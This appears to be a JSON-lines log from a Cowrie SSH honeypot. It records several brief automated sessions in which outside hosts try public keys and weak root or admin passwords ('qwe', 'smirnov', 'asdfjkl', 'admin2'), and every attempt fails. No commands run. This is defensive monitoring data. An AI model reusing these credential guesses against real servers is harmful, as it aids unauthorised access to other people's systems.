{"eventid":"cowrie.session.connect","src_ip":"88.99.193.143","src_port":6270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47c6556fbe1","protocol":"ssh","message":"New connection: 88.99.193.143:6270 (10.17.0.5:22) [session: e47c6556fbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:13.725183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:13.728939Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:13.821773Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:b1:59:ab:a4:58:71:a9:3d:9e:82:40:0f:77:0a:94","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbyb8Y1rhSemONLdGbK3liHDhIuAtb05Ct1x/du43Tc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint aa:b1:59:ab:a4:58:71:a9:3d:9e:82:40:0f:77:0a:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.260748Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:b1:59:ab:a4:58:71:a9:3d:9e:82:40:0f:77:0a:94","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbyb8Y1rhSemONLdGbK3liHDhIuAtb05Ct1x/du43Tc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.264897Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:96:a0:fd:a5:df:8b:8c:b2:4b:c5:49:1d:bf:db:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm13q5Fy5ezlHV0I8NFLP9qaCPOLF3YpNWhnK/pxG98ZJMVpHgrvpokp1Y3l5TCc8B9yyBme29zs0n67799X8ZOJ0aYHtzZG+8vPYK54F5zG1jGe4Pan+Ln6ePgZJ1khhmzX24Mf0TpYUco97UR+nXQG4XSHueJfrrAv9AslzneFPR00DHmfWsJjs/f/X5pmHEJY4N80+DmdVC/z0VnjLC2EoWA6Y7zTlqt3a3CRkx9jj+d39TCmGlInXtYRqsLMglBwGrJNd2CYGgkwvv6MEkg9nyvvWhdtijQfDdVwiO02/pWyokE+swvngoE9vlPEcWmJ19Unl5I3H1Lo4hVsN9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:96:a0:fd:a5:df:8b:8c:b2:4b:c5:49:1d:bf:db:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.357892Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:96:a0:fd:a5:df:8b:8c:b2:4b:c5:49:1d:bf:db:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm13q5Fy5ezlHV0I8NFLP9qaCPOLF3YpNWhnK/pxG98ZJMVpHgrvpokp1Y3l5TCc8B9yyBme29zs0n67799X8ZOJ0aYHtzZG+8vPYK54F5zG1jGe4Pan+Ln6ePgZJ1khhmzX24Mf0TpYUco97UR+nXQG4XSHueJfrrAv9AslzneFPR00DHmfWsJjs/f/X5pmHEJY4N80+DmdVC/z0VnjLC2EoWA6Y7zTlqt3a3CRkx9jj+d39TCmGlInXtYRqsLMglBwGrJNd2CYGgkwvv6MEkg9nyvvWhdtijQfDdVwiO02/pWyokE+swvngoE9vlPEcWmJ19Unl5I3H1Lo4hVsN9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.364588Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:ee:9e:23:e0:9d:97:76:5c:d9:8f:04:32:b2:d1:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnf2GMuzw4/Y/1q3i71ce7zo6agSannqwkc+XrMyd/rbJm3LvJjHe9+FsAOlZ+ccFhhMPNjSbg1OSxrymfpxc/byh7r1ecknh+arFh2C9h/fg2tMhc5GnktAWGSNl9FPQzMKJnFvrV/kfVdLjI6PezVgugpBWR2/NMYZ9aE9XzDNpQL6A5PZBHP5JxOsqKGxmF3328HfJ2FFU6o0apKBRUR5tpEi/97Sk2WOkq/y12kk76HQRoDiG7h3rpDvna/bSvSu/rcux0QctkS4mpVVoDtMvP7Ewq0JQoVDIigZsvTRJ82vblBWsuE4C4uBu5HhAMAFA5ReOniwOQ1dASKPfmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:ee:9e:23:e0:9d:97:76:5c:d9:8f:04:32:b2:d1:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.457498Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:ee:9e:23:e0:9d:97:76:5c:d9:8f:04:32:b2:d1:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnf2GMuzw4/Y/1q3i71ce7zo6agSannqwkc+XrMyd/rbJm3LvJjHe9+FsAOlZ+ccFhhMPNjSbg1OSxrymfpxc/byh7r1ecknh+arFh2C9h/fg2tMhc5GnktAWGSNl9FPQzMKJnFvrV/kfVdLjI6PezVgugpBWR2/NMYZ9aE9XzDNpQL6A5PZBHP5JxOsqKGxmF3328HfJ2FFU6o0apKBRUR5tpEi/97Sk2WOkq/y12kk76HQRoDiG7h3rpDvna/bSvSu/rcux0QctkS4mpVVoDtMvP7Ewq0JQoVDIigZsvTRJ82vblBWsuE4C4uBu5HhAMAFA5ReOniwOQ1dASKPfmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.461065Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:7e:d3:98:9e:04:26:9c:64:47:b1:36:df:fb:80:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKB6YjjBwaSkIUoD5hacpRpk2cgTL/zyQo0Iv1nAS9oa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 56:7e:d3:98:9e:04:26:9c:64:47:b1:36:df:fb:80:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.554087Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:7e:d3:98:9e:04:26:9c:64:47:b1:36:df:fb:80:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKB6YjjBwaSkIUoD5hacpRpk2cgTL/zyQo0Iv1nAS9oa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.558203Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:fe:6f:df:e0:98:49:51:d2:65:cf:74:e6:69:03:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIckA6Y3w0nJzEqymMzTjU2XoCegqCIafXqTcbYmscZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f1:fe:6f:df:e0:98:49:51:d2:65:cf:74:e6:69:03:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.651727Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:fe:6f:df:e0:98:49:51:d2:65:cf:74:e6:69:03:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIckA6Y3w0nJzEqymMzTjU2XoCegqCIafXqTcbYmscZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.654792Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:14.747602Z","src_ip":"88.99.193.143","session":"e47c6556fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":57940,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dff43ca25be","protocol":"ssh","message":"New connection: 94.159.98.239:57940 (159.203.135.109:22) [session: 0dff43ca25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:23.915704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:24.072616Z","src_ip":"94.159.98.239","session":"0dff43ca25be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:24.076792Z","src_ip":"94.159.98.239","session":"0dff43ca25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe","message":"login attempt [root/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:24.781649Z","src_ip":"94.159.98.239","session":"0dff43ca25be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:25.917197Z","src_ip":"94.159.98.239","session":"0dff43ca25be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59326,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dbbbe1f4b19","protocol":"ssh","message":"New connection: 109.237.96.109:59326 (10.17.0.5:22) [session: 9dbbbe1f4b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:33.715766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:33.720058Z","src_ip":"109.237.96.109","session":"9dbbbe1f4b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:33.809274Z","src_ip":"109.237.96.109","session":"9dbbbe1f4b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smirnov","message":"login attempt [root/smirnov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:34.085346Z","src_ip":"109.237.96.109","session":"9dbbbe1f4b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:35.178549Z","src_ip":"109.237.96.109","session":"9dbbbe1f4b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49469,"dst_ip":"10.17.0.5","dst_port":22,"session":"de005d9f5b17","protocol":"ssh","message":"New connection: 43.134.24.11:49469 (10.17.0.5:22) [session: de005d9f5b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:43.017817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:43.021624Z","src_ip":"43.134.24.11","session":"de005d9f5b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:43.267666Z","src_ip":"43.134.24.11","session":"de005d9f5b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:44.005554Z","src_ip":"43.134.24.11","session":"de005d9f5b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":34660,"dst_ip":"10.17.0.5","dst_port":22,"session":"69da6a6933db","protocol":"ssh","message":"New connection: 193.37.70.224:34660 (10.17.0.5:22) [session: 69da6a6933db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:44.271576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:44.276004Z","src_ip":"193.37.70.224","session":"69da6a6933db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:44.365360Z","src_ip":"193.37.70.224","session":"69da6a6933db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfjkl","message":"login attempt [root/asdfjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:44.635797Z","src_ip":"193.37.70.224","session":"69da6a6933db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:47:45.727812Z","src_ip":"193.37.70.224","session":"69da6a6933db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28513,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e10184d99f","protocol":"ssh","message":"New connection: 43.134.24.11:28513 (10.17.0.5:22) [session: 83e10184d99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:16.543452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:16.548574Z","src_ip":"43.134.24.11","session":"83e10184d99f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:16.815303Z","src_ip":"43.134.24.11","session":"83e10184d99f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:17.554327Z","src_ip":"43.134.24.11","session":"83e10184d99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:18.795538Z","src_ip":"43.134.24.11","session":"83e10184d99f","protocol":"ssh"}
